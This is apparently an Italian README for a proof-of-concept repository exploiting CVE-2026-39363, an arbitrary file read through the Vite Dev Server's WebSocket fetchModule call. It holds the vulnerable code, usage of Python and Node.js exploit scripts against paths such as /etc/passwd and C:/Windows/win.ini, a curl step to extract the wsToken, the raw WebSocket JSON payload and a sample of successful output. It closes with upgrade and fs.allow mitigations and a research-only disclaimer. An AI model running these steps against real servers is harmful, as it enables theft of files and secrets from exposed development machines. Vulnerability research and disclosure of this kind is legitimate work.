
Exploit per CVE-2026-39363, una vulnerabilità di lettura arbitraria di file WebSocket del Vite Dev Server, con script Python e Node.js per lo sfruttamento automatizzato e passaggi manuali.
Vulnerabilità di Lettura Arbitraria di File tramite WebSocket nel Vite Dev Server
| Proprietà | Informazioni |
|---|---|
| ID CVE | CVE-2026-39363 |
| ID GHSA | GHSA-p9ff-h696-f583 |
| Tipo di Vulnerabilità | Arbitrary File Read (Lettura Arbitraria di File) |
| Componente Interessato | Vite Dev Server |
| Versioni Interessate | Vite < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10 |
| Punteggio CVSS | Alto |
| Versioni Corrette | Vite >= 6.2.3 |
La chiamata RPC WebSocket fetchModule del Vite Dev Server presenta una vulnerabilità di bypass dei controlli di sicurezza.
Posizione del Codice Vulnerabile: vite/dist/node/chunks/dep-B0fRCRkQ.js:52065-52070
async function fetchModule(environment, url, importer, options = {}) {
// ...
const isFileUrl = url.startsWith("file://");
// Punto critico della vulnerabilità: quando l'URL è file:// o non c'è importer
// viene chiamato direttamente resolveId, senza eseguire il controllo isFileServingAllowed!
if (isFileUrl || !importer) {
const resolved = await environment.pluginContainer.resolveId(url);
if (!resolved) {
throw new Error(`[vite] cannot find entry point module '${url}'.`);
}
url = normalizeResolvedIdToUrl(environment, url, resolved);
}
// ...continua l'elaborazione e restituisce il contenuto del file
}
┌─────────────────────────────────────────────────────────────────┐
│ Percorso Richiesta HTTP (con controlli di sicurezza)│
├─────────────────────────────────────────────────────────────────┤
│ HTTP GET /@fs/C:/secret.txt │
│ │ │
│ ▼ │
│ ensureServingAccess() │
│ │ │
│ ▼ │
│ isFileServingAllowed() │
│ │ │
│ ▼ │
│ isFileLoadingAllowed() ────> BLOCCATO │
│ (controlla server.fs.allow) │
└─────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────┐
│ Percorso Richiesta WebSocket (bypass dei controlli) │
├─────────────────────────────────────────────────────────────────┤
│ WebSocket: fetchModule("file://C:/secret.txt") │
│ │ │
│ ▼ │
│ fetchModule() │
│ (isFileUrl || !importer) ───> resolveId diretto │
│ │ │
│ ▼ │
│ loadAndTransform() │
│ isFileLoadingAllowed() ────> dipende dalla configurazione fs.allow│
│ │ │
│ ▼ │
│ Restituisce il contenuto del file (se fs.allow lo consente) │
└─────────────────────────────────────────────────────────────────┘
Percorso HTTP: attraversa più livelli di controllo ensureServingAccess → isFileServingAllowed → isFileLoadingAllowed
Percorso WebSocket:
fetchModule non chiama isFileServingAllowedisFileLoadingAllowed in loadAndTransform, rimane attivaserver.fs.allow è permissiva, è possibile leggere file arbitrari--host)fs.allow: ['..'] - consente la lettura delle directory superiorifs.allow: ['C:/'] - consente la lettura dell'intero disco Cfs.strict: false - nessuna restrizione/@vite/client)# Clonare il repository
git clone [email protected]:Firebasky/CVE-2026-39363.git
cd CVE-2026-39363
# Installare le dipendenze
npm install
# Avviare il Vite Dev Server (usando una configurazione permissiva per dimostrare la vulnerabilità)
npm run dev
# Utilizzo di base (rilevamento automatico della porta)
python exp.py -t localhost -p 5173 -f "C:/Windows/win.ini"
# Lettura di file esterni al progetto
python exp.py -t localhost -p 5173 -f "E:/secret.txt"
# Specificare il token
python exp.py -t localhost -p 5173 -f "/etc/passwd" --token "your_token"
# Ottenere il wsToken
curl -s "http://localhost:5173/@vite/client" | grep -o 'wsToken = "[^"]*"'
# Eseguire il POC
node poc.js localhost 5173 "C:/Windows/win.ini" "your_token"
curl -s "http://target:5173/@vite/client" | grep wsToken
const ws = new WebSocket('ws://target:5173?token=TOKEN', 'vite-hmr');
{
"type": "custom",
"event": "vite:invoke",
"data": {
"id": "invoke_0",
"name": "fetchModule",
"data": ["file:///C:/Windows/win.ini"]
}
}
============================================================
CVE-2026-39363 POC - Vite WebSocket Arbitrary File Read
============================================================
Target: ws://localhost:5173?token=6zKw8sjZ5KKF
File to read: C:/Windows/win.ini
[*] WebSocket connected successfully
[+] Server confirmed WebSocket connection
[*] Sending RPC: fetchModule(["file://C:/Windows/win.ini"])
============================================================
[+] SUCCESS! Arbitrary file read achieved!
============================================================
File path: C:/Windows/win.ini
------------------------------------------------------------
[+] File content:
------------------------------------------------------------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
============================================================
CVE-2026-39363/
├── README.md # Documento di analisi della vulnerabilità
├── exp.py # Script exploit Python
├── poc.js # POC Node.js
├── vite.config.js # File di configurazione Vite (per la dimostrazione)
├── package.json # Configurazione del progetto
├── src/ # Directory del codice sorgente
│ ├── main.js
│ ├── counter.js
│ └── style.css
├── public/ # Risorse statiche
└── index.html # HTML di ingresso
npm update vite
# oppure
npm install vite@latest
// vite.config.js
export default defineConfig({
server: {
fs: {
strict: true,
allow: ['.'] // consentire solo la directory root del progetto
}
}
})
--host per esporre il servizioQuesto progetto è destinato esclusivamente a scopi di ricerca sulla sicurezza e didattici. Non utilizzare questo codice di sfruttamento per attività illegali. Prima di testare con questo codice, assicurarsi di aver ottenuto l'autorizzazione esplicita del proprietario del sistema di destinazione.
Licenza MIT